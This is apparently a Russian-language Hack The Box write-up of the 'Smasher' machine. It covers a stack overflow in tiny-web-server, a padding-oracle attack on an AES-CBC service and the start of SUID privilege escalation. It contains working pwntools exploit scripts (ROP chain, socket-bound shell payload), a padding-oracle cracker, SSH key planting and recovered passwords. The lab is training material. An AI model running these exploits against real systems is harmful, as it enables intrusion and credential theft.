В королевстве PWN. Return-to-bss, криптооракулы и реверс-инжиниринг против Великого Сокрушителя
Год близится к своему логическому завершению и подчищает свои хвосты, поэтому и я, последовав его примеру, закончу цикл «В королевстве PWN» разбором хардкорной тачки Smasher с Hack The Box. На этом пути нас ожидает: низкоуровневый сплоитинг веб-сервера со срывом стека (куда же без него?) и генерацией шелл-кода «на лету» с помощью древней магии pwntools; проведение атаки Padding Oracle на Python-приложение для вскрытия шифртекста AES-CBC (абьюзим логику логирования приложения и реализации добивания блоков PKCS#7); реверс-инжиниринг исполняемого файла с атрибутом SUID для повышения привилегий в системе до локального суперпользователя.
В королевстве PWN
В этом цикле статей срыв стека бескомпромиссно правит бал:
- Разведка
- Анализ tiny-web-server
- От грубого шелла до SSH — порт 22
- Исследование окружения
- PrivEsc: www → smasher
- PrivEsc: smasher → root
- Эпилог
Разведка
Сканирование портов
Я продолжаю извращаться с методами обнаружения открытых портов, поэтому в этот раз будем пользоваться связкой из Masscan и Nmap. Masscan, к слову, на сегодняшний день является самым быстрым асинхронным сканером портов. Ко всему прочему он опирается на собственное видение стека TCP/IP и, по словам разработчика, может просканировать весь интернет за шесть минут с одного хоста.
root@kali:~# masscan --rate=1000 -e tun0 -p1-65535,U:1-65535 10.10.10.89 > ports
Первой командой я инициирую сканирование всего диапазона портов (в том числе UDP) IP-адреса, по которому живет Smasher, и перенаправляю результат в текстовый файл.
root@kali:~# ports=`cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr "\n" ',' | sed 's/,$//'`
root@kali:~# nmap -n -Pn -sV -sC -oA nmap/smasher -p$ports 10.10.10.89
Далее с помощью стандартных средств текстового процессинга в Linux обрабатываю результаты скана, чтобы найденные порты хранились одной строкой через запятую, сохраняю эту строку в переменной ports
и спускаю с поводка Nmap.
Судя по мнению Nmap, мы имеем дело с Ubuntu 16.04 (Xenial). Оно основано на информации о баннере SSH. Постучаться же можно в порты 22 и 1111. На последнем, кстати, висит некий shenfeng tiny-web-server — вот его мы и отправимся исследовать в первую очередь.
Веб — порт 1111
Браузер
По адресу http://10.10.10.89:1111/
тебя встретит листинг корневой директории веб-сервера.
Интересно, что страница index.html
существует, но редиректа на нее нет — вместо этого открывается список файлов каталога. Запомним это.
Если мы перейдем на /index.html
вручную, то увидим заглушку для формы авторизации, с которой никак нельзя взаимодействовать (можно печатать в полях ввода, но кнопка Login не работает). Забавно, что оба поля для ввода называются input.email
.
A tiny web server in C
Если поискать shenfeng tiny-web-server в сети, по первой же ссылке в выдаче результатов можно найти репозиторий проекта на GitHub.
Первое, что бросается в глаза — это крики о небезопасности кода: первый в самом описании сервера (как единственная его «антифича»), второй — в открытых ишью.
Если верить описанию, то tiny-web-server подвержен Path Traversal, а возможность просматривать листинги директорий как будто шепчет тебе на ухо: «Так оно и есть…».
Анализ tiny-web-server
Проверим выполнимость Path Traversal. Так как Firefox любит исправлять синтаксически некорректные конструкции в адресной строке (в частности, резать префиксы вида ../../../
), то я сделаю это с помощью nc
, как показано в issue.
Что и требовалось доказать — у нас есть возможность читать файлы на сервере!
Что дальше? Осмотримся. Если дублировать первичный слеш для доступа к каталогам, сервер подумает, что таким образом мы обращаемся к корневой директории, — и разведку можно будет провести прямо из браузера.
В /home
нам доступна всего одна директория — www/
.
Из интересного здесь: скрипт restart.sh
для перезапуска инстанса процесса сервера, а также сама директория с проектом.
#!/usr/bin/env bash
# Please don't edit this file let others players have fun
cd /home/www/tiny-web-server/
ps aux | grep tiny | awk '{print $2}' | xargs kill -9
nohup ./tiny public_html/ 1111 2>&1 > /dev/null &
Чтобы не мучиться с загрузкой каждого файла по отдельности, я клонирую директорию /home/www
целиком с помощью wget
, исключив каталог .git
— различия в коде веб-сервера по сравнению с GitHub-версией мы узнаем чуть позже другим способом.
root@kali:~# wget --mirror -X home/www/tiny-web-server/.git http://10.10.10.89:1111//home/www/
Три файла представляют для нас интерес: Makefile
, tiny
и tiny.c
.
В Makefile
содержатся инструкции для сборки исполняемого файла.
CC = c99
CFLAGS = -Wall -O2
# LIB = -lpthread
all: tiny
tiny: tiny.c
$(CC) $(CFLAGS) -g -fno-stack-protector -z execstack -o tiny tiny.c $(LIB)
clean:
rm -f *.o tiny *~
Флаги -g -fno-stack-protector -z execstack
намекают нам на предполагаемый «по сюжету» вектор атаки — срыв стека, который, надеюсь, уже успел тебе полюбиться.
Файл tiny
— сам бинарник, который развернут на Smasher.
У нас есть исполняемый стек, сегменты с возможностью записи и исполнения произвольных данных и активный механизм FORTIFY
— последний, правда, ни на что не повлияет в нашей ситуации (подробнее о нем можно прочесть в первой части цикла, где мы разбирали вывод checksec
). Плюс нужно помнить, что на целевом хосте, скорее всего, активен механизм рандомизации адресного пространства ASLR.
Прежде чем перейти непосредственно к сплоитингу, посмотрим, изменил ли как-нибудь автор машины исходный код tiny.c
(сам файл я положу к себе на гитхаб, чтобы не загромождать тело статьи).
Изменения в исходном коде tiny.c
Если нужно построчно сравнить текстовые файлы, я предпочитаю расширение DiffTabs для Sublime Text, где — в отличии от дефолтного diff
— есть подсветка синтаксиса. Однако если ты привык работать исключительно из командной строки, colordiff
станет удобной альтернативой.
Выдернем последнюю версию tiny.c
с гитхаба (будем звать ее tiny-github.c
) и сравним с тем исходником, который мы захватили на Smasher.
root@kali:~# wget -qO tiny-github.c https://raw.githubusercontent.com/shenfeng/tiny-web-server/master/tiny.c
root@kali:~# colordiff tiny-github.c tiny.c
166c166
< sprintf(buf, "HTTP/1.1 200 OK\r\n%s%s%s%s%s",
---
> sprintf(buf, "HTTP/1.1 200 OK\r\nServer: shenfeng tiny-web-server\r\n%s%s%s%s%s",
233a234,236
> int reuse = 1;
> if (setsockopt(listenfd, SOL_SOCKET, SO_REUSEADDR, (const char*)&reuse, sizeof(reuse)) < 0)
> perror("setsockopt(SO_REUSEADDR) failed");
234a238,239
> if (setsockopt(listenfd, SOL_SOCKET, SO_REUSEPORT, (const char*)&reuse, sizeof(reuse)) < 0)
> perror("setsockopt(SO_REUSEPORT) failed");
309c314
< sprintf(buf, "HTTP/1.1 %d %s\r\n", status, msg);
---
> sprintf(buf, "HTTP/1.1 %d %s\r\nServer: shenfeng tiny-web-server\r\n", status, msg);
320c325
< sprintf(buf, "HTTP/1.1 206 Partial\r\n");
---
> sprintf(buf, "HTTP/1.1 206 Partial\r\nServer: shenfeng tiny-web-server\r\n");
346c351,355
< void process(int fd, struct sockaddr_in *clientaddr){
---
> int process(int fd, struct sockaddr_in *clientaddr){
> int pid = fork();
> if(pid==0){
> if(fd < 0)
> return 1;
377a387,389
> return 1;
> }
> return 0;
407a420
> int copy_listen_fd = listenfd;
417,420c430
<
< for(int i = 0; i < 10; i++) {
< int pid = fork();
< if (pid == 0) { // child
---
> signal(SIGCHLD, SIG_IGN);
421a432
>
423c434,437
< process(connfd, &clientaddr);
---
> if(connfd > -1) {
> int res = process(connfd, &clientaddr);
> if(res == 1)
> exit(0);
424a439,440
> }
>
426,437d441
< } else if (pid > 0) { // parent
< printf("child pid is %d\n", pid);
< } else {
< perror("fork");
< }
< }
<
< while(1){
< connfd = accept(listenfd, (SA *)&clientaddr, &clientlen);
< process(connfd, &clientaddr);
< close(connfd);
< }
438a443
>
Незначительные изменения:
- добавлена обработка ошибок (
233a234
,234a238
); - в строчках баннеров веб-сервера появилось имя разработчика, что облегчает атакующему идентификацию ПО на этапе сканирования хоста (
166c166
,320c325
).
Важные изменения: модифицирована логика обработки запросов клиента (все, что касается функции process
и создания форков). Если в tiny-github.c
реализована многопоточность с помощью концепции PreFork, когда мастер-процесс спавнит дочерние в цикле от 0 до 9, то в tiny.c
родитель форкается только один раз — и уже не в теле main
, а в самой функции process
. Полагаю, это было сделано, чтобы ослабить нагрузку на сервер — ведь ВМ атакует множество людей одновременно. Ну а нам это только на руку, потому что дебажить многопоточные приложения — то еще удовольствие.
Найти уязвимую строку
На одной из моих вузовских практик преподаватель поставил такую задачу: без доступа в сеть с точностью до строки найти в исходном коде пакета OpenSSL место, ответственное за нашумевшую уязвимость Heartbleed (CVE-2014-0160). Разумеется, в большинстве случаев нельзя однозначно обвинить во всех бедах одну-единственную строку, но всегда можно (и нужно) выделить для себя место в коде, от которого ты будешь отталкиваться в ходе атаки.
Найдем такую строку в tiny.c
. В формате статьи трудно анализировать исходные коды без нагромождения повторяющейся информации — поэтому я представлю анализ в виде цепочки «прыжков» по функциям (начиная от main
и заканчивая уязвимостью), а ты потом сам проследишь этот путь в своем редакторе.
main() { int res = process(connfd, &clientaddr); } ==> process() { parse_request(fd, &req); } ==> parse_request() { url_decode(filename, req->filename, MAXLINE); }
Функция url_decode
принимает три аргумента: два массива строк (источник — filename
и назначение req->filename
соответственно) и количество копируемых байт из первого массива во второй. В нашем случае это константа MAXLINE
, равная 1024.
void url_decode(char* src, char* dest, int max) {
char *p = src;
char code[3] = { 0 };
while(*p && --max) {
if(*p == '%') {
memcpy(code, ++p, 2);
*dest++ = (char)strtoul(code, NULL, 16);
p += 2;
} else {
*dest++ = *p++;
}
}
*dest = '\0';
}
Алгоритм работы функции тривиален: если строка с именем файла, который клиент запрашивает у сервера в GET-запросе, содержит данные в Percent-encoding (определяемые по символу %
), функция выполняет декодирование и помещает соответствующий байт в массив назначения. В противном случае происходит простое побайтовое копирование имени файла. Но вся проблема в том, что локальный массив filename
имеет размер MAXLINE
(то есть 1024 байт), а вот поле req->filename
структуры http_request
(тип которой имеет переменная req
) располагает лишь 512 байтами.
typedef struct {
char filename[512];
off_t offset; /* for support Range */
size_t end;
} http_request;
Налицо классический Out-of-bounds Write (CWE-787: запись за пределы доступной памяти) — он и делает возможным срыв стека.
В эпилоге мы посмотрим на анализ трассировки этого кода, а пока подумаем, как можно использовать уязвимое место tiny.c
.
Разработка эксплоита
Сперва насладимся моментом, когда сервер tiny
крашится. Так как с ошибкой сегментации упадет дочерний процесс программы, привычного алерта Segmentation fault
в окне терминала мы не увидим. Чтобы убедиться, что процесс отработал некорректно и завершился сегфолтом, я открою журнал сообщений ядра dmesg
(с флагом -w
) и запрошу у сервера (несуществующий) файл с именем из тысячи букв A.
root@kali:~# ./tiny 1111
root@kali:~# dmesg -w
root@kali:~# curl localhost:1111/$(python -c 'print "A"*1000')
Класс: видим, что запрос выбивает child-процесс c general protection fault (или segmentation fault в нашем случае).
Поиск точки перезаписи RIP
Запустим исполняемый файл сервера в отладчике GDB.
Классический GDB без обвесов по умолчанию следит за выполнением родительского процесса, однако установленный ассистент PEDA будет мониторить дочерний процесс, если в ходе выполнения был форк. Это эквивалентно настройке set follow-fork-mode child
в оригинальном GDB.
root@kali:~# gdb-peda ./tiny
Reading symbols from ./tiny...
gdb-peda$ r 1111
Starting program: /root/htb/boxes/smasher/tiny 1111
listen on port 1111, fd is 3
Теперь важный момент: я не могу пользоваться циклическим паттерном де Брёйна, который предлагает PEDA, ведь он содержит символы '%'
— а они, если помнишь, трактуются сервером как начало URL-кодировки.
Следовательно, нам нужен другой генератор. Можно пользоваться msf-pattern_create -l <N>
и msf-pattern_offset -q <0xFFFF>
, чтобы создать последовательность нужной длины и найти смещение соответственно. Однако я предпочитаю модуль pwntools
, который работает в разы быстрее.
Как мы видим, ни один из инструментов не использует «плохие» символы, поэтому для генерации вредоносного URL можно юзать любой из них.
root@kali:~# curl localhost:1111/$(python -c 'import pwn; print pwn.cyclic(1000)')
File not found
Мы отправили запрос на открытие несуществующей страницы при помощи curl
— а теперь смотрим, какое значение осело в регистре RSP, и рассчитываем величину смещения до RIP.
gdb-peda$ x/xw $rsp
0x7fffffffdf48: 0x66616172
root@kali:~# python -c 'from pwn import *; print cyclic_find(unhex("66616172")[::-1])'
568
Ответ: 568.
После выхода из отладчика хорошо бы принудительно убить все инстансы веб-сервера — ведь однозначно завершился только child-процесс.
root@kali:~# ps aux | grep tiny | awk '{print $2}' | xargs kill -9
Proof-of-Concept
Давай проверим, что мы и правда можем перезаписать адрес возврата произвольным значением. Для этого напишем простой скрипт на Python, который откроет удаленный (в нашем случае локальный) сокет и отправит туда строку вида GET /<ПЕЙЛОАД>
.
Несмотря на то, что разработка еще не перенесена в stable-ветку, я все же решился на эксперимент с pwntools для третьей версии Python.
Устанавливается он так.
$ apt install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential -y
$ python3 -m pip install --upgrade git+https://github.com/Gallopsled/pwntools.git@dev3
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Использование: python3 poc.py [DEBUG]
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
context.endian = 'little'
context.word_size = 64
payload = b''
payload += b'A' * 568
payload += p64(0xd34dc0d3)
r = remote('localhost', 1111)
r.sendline(f'GET /{payload}')
r.sendline()
С работающим на фоне сервером в дебаггере запустим скрипт и убедимся, что процесс упал с «мертвым кодом» в регистре RIP.
С первого раза не сработало… Что пошло не так? Значение 0xd34dc0d3
упаковано в формат little-endian для x86-64, поэтому на самом деле оно выглядит как 0x00000000d34dc0d3
. При чтении первого нулевого байта сервер упал. Почему? Потому что он юзает функцию sscanf
(строка 278) для парсинга запроса — а она записывает нашу полезную нагрузку в массив uri
, пока не споткнется о нулевой терминатор.
Чтобы избежать этого, перед отправкой конвертируем весь пейлоад в Percent-encoding с помощью urllib.parse.quote
.
from urllib.parse import quote as url_encode
r.sendline(f'GET /{url_encode(payload)}')
Тогда все пройдет как нужно.
Получение шелла
Есть несколько вариантов получения сессии пользователя, от имени которого крутится веб-сервер.
Первый — это полноценная атака Return-to-PLT с извлечением адреса какой-либо функции из исполняемого файла (read
или write
, к примеру). Так мы узнаем место загрузки libc и сможем вызвать system
с помощью классической техники ret2libc. Это в точности повторяет материал третьей части цикла — только на сей раз нам пришлось бы перенаправить вывод шелла в сокет через C-шную функцию dup2, а ее нужно вызывать трижды для каждого из стандартных потоков: ввод, вывод и ошибки.
Функция write
, например, принимает три аргумента с размером выводимой строки в конце — его бы мы загружали в регистр RDX. При этом гаджеты типа pop rdx; ret
не встречаются, так что нам пришлось бы искать альтернативный способ инициализации RDX. Например, использовать функцию strcmp
, которая помещает в RDX разницу сравниваемых строк.
Это долго и скучно, поэтому, к счастью, есть второй способ. Можно извлечь преимущество из флага компиляции -z execstack
— ты ведь помнишь, что было в Makefile
? Эта опция возвращает в наш арсенал древнюю как мир атаку Return-to-shellcode — в частности, Return-to-bss.
Идея проста: с помощью функции read
я запишу шелл-код в секцию неинициализированных переменных. А затем посредством классического Stack Overflow передам ему управление — .bss
не попадает под действие ASLR и имеет бит исполнения. В последнем можно убедиться с помощью комбинации vmmap
и readelf
.
О классификации техник обхода ASLR можно прочесть в публикации ASLR Smack & Laugh Reference, PDF.
Для второго варианта атаки пейлоад примет следующий вид.
ПЕЙЛОАД =
(1) МУСОР_568_байт +
(2) СМЕЩЕНИЕ_ДО_ГАДЖЕТА_pop_rdi +
(3) ЗНАЧЕНИЕ_ДЕСКРИПТОРА_socket_fd +
(4) СМЕЩЕНИЕ_ДО_ГАДЖЕТА_pop_rsi +
(5) СМЕЩЕНИЕ_ДО_СЕКЦИИ_bss +
(6) СМЕЩЕНИЕ_ДО_read@plt
(7) СМЕЩЕНИЕ_ДО_СЕКЦИИ_bss <== прыжок на шелл-код
Пункты 1–5 задают два аргумента для функции read
— они ложатся в регистры RDI и RSI соответственно. Обрати внимание: мы не задаем явно количество байт для чтения (третий аргумент — регистр RDX), потому что работа с RDX — это боль при построении ропчейнов. Вместо этого полагаемся на удачу: в ходе выполнения RDX обычно хранит достаточно большие значения, чтобы нам хватило на запись шелл-кода.
В пункте 6 вызываем саму функцию read
(через обращение к таблице PLT), которая запишет шелл-код в секцию .bss
. Финальный штрих — 7-й пункт — передаст управление шелл-коду: это произойдет после достижения инструкции ret
в функции read@plt
.
Необходимые звенья ROP-цепочки можно найти вручную (как мы делали это в прошлой части), а можно возложить все заботы на плечи pwntools — тогда конечный сплоит получится весьма миниатюрным.
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Использование: python3 tiny-exploit.py [DEBUG]
from pwn import *
from urllib.parse import quote as url_encode
context.arch = 'amd64'
context.os = 'linux'
context.endian = 'little'
context.word_size = 64
elf = ELF('./tiny', checksec=False)
bss = elf.bss() # elf.get_section_by_name('.bss')['sh_addr'] (address of section header .bss)
rop = ROP(elf)
rop.read(4, bss)
rop.raw(bss)
log.info(f'ROP:\n{rop.dump()}')
r = remote('10.10.10.89', 1111)
raw_input('[?] Send payload?')
r.sendline(f'GET /{url_encode(b"A"*568 + bytes(rop))}')
r.sendline()
r.recvuntil('File not found')
raw_input('[?] Send shellcode?')
r.sendline(asm(shellcraft.dupsh(4))) # asm(shellcraft.amd64.linux.dupsh(4), arch='amd64'), 70 bytes
r.interactive()
Пройдемся по самым интересным моментам.
bss = elf.bss()
rop = ROP(elf)
rop.read(4, bss)
rop.raw(bss)
Эти четыре строки создают цепочку ROP: поиск секции .bss
и вызов функции read
с нужными аргументами.
r.sendline(asm(shellcraft.dupsh(4)))
Здесь можно поистине удивиться, на что способен pwntools: за одну строку «на лету» он нагенерил ассемблерный шелл-код со следующим содержимым.
В нашем случае это код для Linux x64 — версия и разрядность ОС берутся из инициализации контекста.
Метод dupsh генерит код, который спавнит шелл и перенаправляет все стандартные потоки в сетевой сокет. Нам нужен сокет со значением дескриптора 4
: такой номер присваивался новому открытому соединению с клиентом (переменная connfd
, строка 433) при локальном анализе исполняемого файла. Это логично, ведь значения 0-3
уже заняты (0
, 1
и 2
— стандартные потоки, 3
— дескриптор родителя), поэтому процесс форка получает первый незанятый ID — четверка.
Отлично, мы получили сессию пользователя www
. Интересный момент: ROP-гаджета pop rsi; ret
в «чистом виде» в бинаре не оказалось, поэтому умный pwntools использовал цепочку pop rsi; pop r15; ret
и заполнил регистр R15 «мусорным» значением iaaajaaa
.
Эксплоит, для которого ропчейн прописан в хардкоде, можно найти в репозитории.
От грубого шелла до SSH — порт 22
Чтобы не мучиться с неповоротливым шеллом интерактивной оболочки pwntools, получим доступ к машине по SSH — с помощью инжекта своего открытого ключа. Но сперва убедимся, что аутентификация по ключу для данного пользователя разрешена.
root@kali:~# ssh -vvv www@10.10.10.89 2>&1 | grep 'Authentications that can continue:'
www@10.10.10.89's password: debug1: Authentications that can continue: publickey,password
Следом сгенерируем пару ключей с помощью OpenSSL и дропнем открытый ключ в файл /home/www/.ssh/authorized_keys
.
root@kali:~# ssh-keygen -f user_www
root@kali:~# cat user_www.pub
<СОДЕРЖИМОЕ_ОТКРЫТОГО_КЛЮЧА>
root@kali:~# ./tiny-exploit.py
$ cd /home/www
$ mkdir .ssh
$ echo '<СОДЕРЖИМОЕ_ОТКРЫТОГО_КЛЮЧА>' > .ssh/authorized_keys
Теперь мы можем авторизоваться на виртуалке по протоколу Secure Shell.
root@kali:~# chmod 600 user_www
root@kali:~# ssh -i user_www www@10.10.10.89
www@smasher:~$ whoami
www
Исследование окружения
Оказавшись внутри Smasher, я поднял на локальной машине простой питоновский сервер и раздал жертве отличный разведочный скрипт LinEnum.sh. Подробнее о передаче скриптов на удаленный сервер можно прочесть в прохождении October.
Как это часто бывает на виртуалках с Hack The Box, векторы для повышения привилегий я обнаружил в списке запущенных процессов и листинге файлов с установленным битом SUID.
root@kali:~# ps auxww | grep crackme
smasher 721 0.0 0.1 24364 1840 ? S 13:14 0:00 socat TCP-LISTEN:1337,reuseaddr,fork,bind=127.0.0.1 EXEC:/usr/bin/python /home/smasher/crackme.py
Оба этих странных файла (crackme.py
и checker
) мы используем для повышения до обычного пользователя и рута соответственно.
Но обо всем по порядку.
PrivEsc: www → smasher
Итак, у нас есть загадочный скрипт на питоне, который подвешен к локальному интерфейсу на порт 1337. Убедиться в этом можно с помощью netstat.
root@kali:~# netstat -nlp | grep 1337
tcp 0 0 127.0.0.1:1337 0.0.0.0:* LISTEN -
Просмотреть содержимое у нас не хватает прав.
root@kali:~# cat /home/smasher/crackme.py
cat: /home/smasher/crackme.py: Permission denied
Посмотрим, что там происходит, постучавшись по адресу localhost:1337
.
www@smasher:~$ nc localhost 1337
[*] Welcome to AES Checker! (type 'exit' to quit)
[!] Crack this one: irRmWB7oJSMbtBC4QuoB13DC08NI06MbcWEOc94q0OXPbfgRm+l9xHkPQ7r7NdFjo6hSo6togqLYITGGpPsXdg==
Insert ciphertext:
На первый взгляд это проверялка корректности шифртекста AES.
Если поиграть с разными вариациями входных данных, можно получить ошибку типа Invalid Padding — она прозрачно намекает на возможность использовать Padding Oracle для подбора исходного текста.
Криптооракулы, или атака Padding Oracle
Padding Oracle Attack — тип атаки на реализацию алгоритма шифрования, который использует «добивание» блоков открытого текста (далее ОТ) до нужной длины. Идея в следующем: если конкретная реализация криптографического алгоритма плюется разными сообщениями об ошибках в случаях, когда операция расшифрования прошла полностью некорректно и когда в ОТ был получен только некорректный padding, сообщение (или его часть) можно вскрыть без секретного ключа.
Звучит удивительно, не правда ли? Утечка всего лишь одной детали о статусе операции расшифрования ставит под угрозу надежность всей системы. Недаром криптоаналитики любят повторять: «You Don’t Roll Your Own Crypto». Посмотрим, почему же так происходит.
Добивание — такой прием в криптографии, при котором последний блок ОТ заполняется незначащими данными до конкретной длины (зависит от алгоритма шифрования). Эта процедура призвана прокачать стойкость криптоалгоритма к анализу. Добивание — стандартная практика для всех популярных пакетов криптографического ПО, поэтому различные его реализации также строго стандартизированы.
Для алгоритма шифрования AES в режиме CBC правило добивания описано в стандарте PKCS#7 (RFC 2315). Он гласит, что последний блок ОТ нужно добить до 16 байт (AES оперирует 128-битными блоками), а значения байтов, из которых состоит добивание, определяется общей длиной padding
, например:
- если в последнем блоке ОТ не хватает пяти байт до 16, его дополняют пятью байтами
0x05
; - если в последнем блоке ОТ не хватает одного байта до 16, его дополняют одним байтом
0x01
; - если длина последнего блока ОТ равна 16, его дополняют 16 байтами
0x10
(то есть целым «искусственным» блоком).
Когда используется AES-CBC, знание о корректности дешифровки padding
позволяет восстановить изначальное сообщение без ключа — через манипуляции с промежуточным состоянием шифртекста (далее ШТ).
Этот известный рисунок из Википедии прольет свет на ситуацию: пусть наш ШТ состоит всего из двух блоков (C1
, C2
). Тогда, чтобы дешифровать C2
и получить соответствующий блок ОТ P2
, нарушителю необходимо изменить один последний байт блока C1
(назовем его C1'
) и отправить оба блока на расшифровку оракулу. Вот мы и добрались до определения: оракул — это всего лишь абстракция, которая возвращает односложный ответ «ДА/НЕТ» на вопрос о правильности добивания. Изменение одного байта в C1
изменит ровно один байт в P2
, так что аналитик может перебрать все возможные значения C1'
(всего 255), чтобы получить истинное значения последнего байта P2
.
Это возможно из-за обратимости операции XOR (^
). Расшифрование блока P2
можно описать формулой P2 = D(C2,K) ^ C1
, где D(Ci,K)
— функция расшифрования i-го блока Ci
ключом K
. Если добивание корректно, последний байт блока D(C2,K) ^ C1' = 0x01
, и, следовательно, P2 = D(C2,K) = C1' ^ 0x01
. Таким образом мы узнали промежуточное состояние D(C2,K)
(промежуточное — потому что оно существует «перед» финальным XOR с предыдущим блоком ШТ).
Чтобы теперь найти предпоследний байт ОТ, нужно установить значение последнего байта C1'
равным D(C2,K) ^ 0x2
и повторить всю процедуру для предпоследнего байта (он превратится в C1''
и т. д.). Таким способом мы можем полностью восстановить один блок ШТ за 255 × 16 = 4080
попыток при худшем раскладе. Алгоритм можно повторять для каждого последующего блока, кроме первого — ведь для него нет предшествующего куска (вектор инициализации неизвестен), из которого мы восстанавливаем промежуточное состояние. Не так уж и много, верно? По крайней мере, по сравнению со сложностью 2^128
полного перебора ключа…
Еще один известный пример успешной реализации Padding Oracle — атака на основе подобранного шифртекста (CCA), разработанная швейцарским криптографом Даниэлем Блайхенбахером, на алгоритм RSA с добиванием PKCS#1 v1.5. Ее также называют «атакой миллиона сообщений».
Интересное чтиво про механизм атаки и библиотека на Python для практики.
Разработка эксплоита
В нашем случае оракулом является сам скрипт crackme.py
— он добровольно «рассказывает», было ли добивание шифртекста корректным. Я буду использовать готовую либу python-paddingoracle, которая предоставляет интерфейс для быстрой разработки «ломалки» под свою ситуацию.
Но сперва я проброшу SSH-туннель до своей машины, поскольку crackme.py
доступен только на Smasher (видно из опции socat bind=127.0.0.1
).
Я использую горячие клавиши Enter + ~C
SSH-клиента, чтобы открыть командную строку и пробросить туннель без переподключения. В этом посте автор приводит интересную аналогию: такие горячие клавиши он сравнивает с чит-кодами для видеоигр Konami.
Теперь я могу задавать «вопросы» оракулу с Kali, обращаясь к адресу localhost:1337
.
Сам эксплоит тривиален: за основу я взял пример с главной страницы модуля — а для поддержки «общения» между сокетом, где сидит оракул, и своим скриптом использовал pwntools.
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Использование: python crackme-exploit.py
import os
from pwn import *
from paddingoracle import BadPaddingException, PaddingOracle
from Crypto.Cipher import AES
BLOCK_SIZE = AES.block_size
class PadBuster(PaddingOracle):
def __init__(self, **kwargs):
self.r = remote('localhost', 1337)
log.info('Progress:\n\n\n\n')
super(PadBuster, self).__init__(**kwargs)
def oracle(self, data, **kwargs):
os.write(1, '\x1b[3F') # escape-последовательность для очистки трех последних строк вывода
print(hexdump(data))
self.r.recvuntil('Insert ciphertext:')
self.r.sendline(b64e(data))
recieved = self.r.recvline()
if 'Invalid Padding!' in recieved:
# An HTTP 500 error was returned, likely due to incorrect padding
raise BadPaddingException
if __name__ == '__main__':
ciphertext = b64d('irRmWB7oJSMbtBC4QuoB13DC08NI06MbcWEOc94q0OXPbfgRm+l9xHkPQ7r7NdFjo6hSo6togqLYITGGpPsXdg==')
log.info('Ciphertext length: %s byte(s), %s block(s)' % (len(ciphertext), len(ciphertext) // BLOCK_SIZE))
padbuster = PadBuster()
plaintext = padbuster.decrypt(ciphertext, block_size=BLOCK_SIZE, iv='\x00'*16)
log.success('Cracked: %s' % plaintext)
Чтобы построить свою «ломалку», необходимо всего лишь переопределить метод oracle
в классе PadBuster
, реализовав таким образом взаимодействие с оракулом.
Метод decrypt
сосредоточен на двух блоках: восстанавливаемом (P2
) и подбираемом (C1'
). Второй блок шифртекста (восстанавливаемый) остается неизменным, в то время как первый блок (подбираемый) изначально заполнен нулями. На старте атаки последний байт первого блока, начиная со значения 0xff
, уменьшается до тех пор, пока не будет обработано исключение BadPaddingException
. После этого фокус смещается на предпоследний байт, процесс повторяется заново — и так далее для всех последующих блоков.
Через десять минут у нас есть содержимое всех четырех блоков секретного сообщения (в последнем блоке, к слову, ему до полной длины не хватало 6 байт) с паролем пользователя smasher. Теперь мы можем повысить привилегии и забрать user-флаг.
Отмечу, что нам удалось дешифровать даже первый блок ШТ, так как мы угадали вектор инициализации. Он, как будет видно по содержимому crackme.py
, полностью состоял из нулей.
www@smasher:~$ su - smasher
Password: PaddingOracleMaster123
smasher@smasher:~$ whoami
smasher
smasher@smasher:~$ cat user.txt
baabc5e4????????????????????????
Содержимое crackme.py
Теперь мы можем читать скрипт crackme.py
. Взглянем на содержимое в учебных целях.
from Crypto.Cipher import AES
import base64
import sys
import os
unbuffered = os.fdopen(sys.stdout.fileno(), 'w', 0)
def w(text):
unbuffered.write(text+"\n")
class InvalidPadding(Exception):
pass
def validate_padding(padded_text):
return all([n == padded_text[-1] for n in padded_text[-ord(padded_text[-1]):]])
def pkcs7_pad(text, BLOCK_SIZE=16):
length = BLOCK_SIZE - (len(text) % BLOCK_SIZE)
text += chr(length) * length
return text
def pkcs7_depad(text):
if not validate_padding(text):
raise InvalidPadding()
return text[:-ord(text[-1])]
def encrypt(plaintext, key):
cipher = AES.new(key, AES.MODE_CBC, "\x00"*16)
padded_text = pkcs7_pad(plaintext)
ciphertext = cipher.encrypt(padded_text)
return base64.b64encode(ciphertext)
def decrypt(ciphertext, key):
cipher = AES.new(key, AES.MODE_CBC, "\x00"*16)
padded_text = cipher.decrypt(base64.b64decode(ciphertext))
plaintext = pkcs7_depad(padded_text)
return plaintext
w("[*] Welcome to AES Checker! (type 'exit' to quit)")
w("[!] Crack this one: irRmWB7oJSMbtBC4QuoB13DC08NI06MbcWEOc94q0OXPbfgRm+l9xHkPQ7r7NdFjo6hSo6togqLYITGGpPsXdg==")
while True:
unbuffered.write("Insert ciphertext: ")
try:
aes_hash = raw_input()
except:
break
if aes_hash == "exit":
break
try:
decrypt(aes_hash, "Th1sCh4llang31SInsane!!!")
w("Hash is OK!")
except InvalidPadding:
w("Invalid Padding!")
except:
w("Generic error, ignore me!")
Теперь, получив секретный ключ Th1sCh4llang31SInsane!!!
, я могу удостовериться, что сообщение дешифровано верно.
>>> import base64
>>> from Crypto.Cipher import AES
>>> key = 'Th1sCh4llang31SInsane!!!'
>>> ciphertext = 'irRmWB7oJSMbtBC4QuoB13DC08NI06MbcWEOc94q0OXPbfgRm+l9xHkPQ7r7NdFjo6hSo6togqLYITGGpPsXdg=='
>>> AES.new(key, AES.MODE_CBC, "\x00"*16).decrypt(base64.b64decode(ciphertext))
"SSH password for user 'smasher' is: PaddingOracleMaster123\x06\x06\x06\x06\x06\x06"
PrivEsc: smasher → root
Окей, настало время апнуться до рута. В этом нам поможет тот самый загадочный бинарь /usr/bin/checker
.
Посмотрим, что он умеет. Сперва я запущу checker
от имени пользователя www.
www@smasher:~$ checker
You're not 'smasher' user please level up bro!
Запускаться он хочет только от имени smasher. Хорошо, пусть будет так.
www@smasher:~$ su - smasher
Password: PaddingOracleMaster123
smasher@smasher:~$ checker
[+] Welcome to file UID checker 0.1 by dzonerzy
Missing arguments
Теперь не хватает аргумента.
smasher@smasher:~$ checker snovvcrash
[+] Welcome to file UID checker 0.1 by dzonerzy
File does not exist!
Еще более конкретно — checker
ждет на вход файл.
smasher@smasher:~$ echo 'TESTING...' > test.txt
smasher@smasher:~$ checker test.txt
[+] Welcome to file UID checker 0.1 by dzonerzy
File UID: 1001
Data:
TESTING...
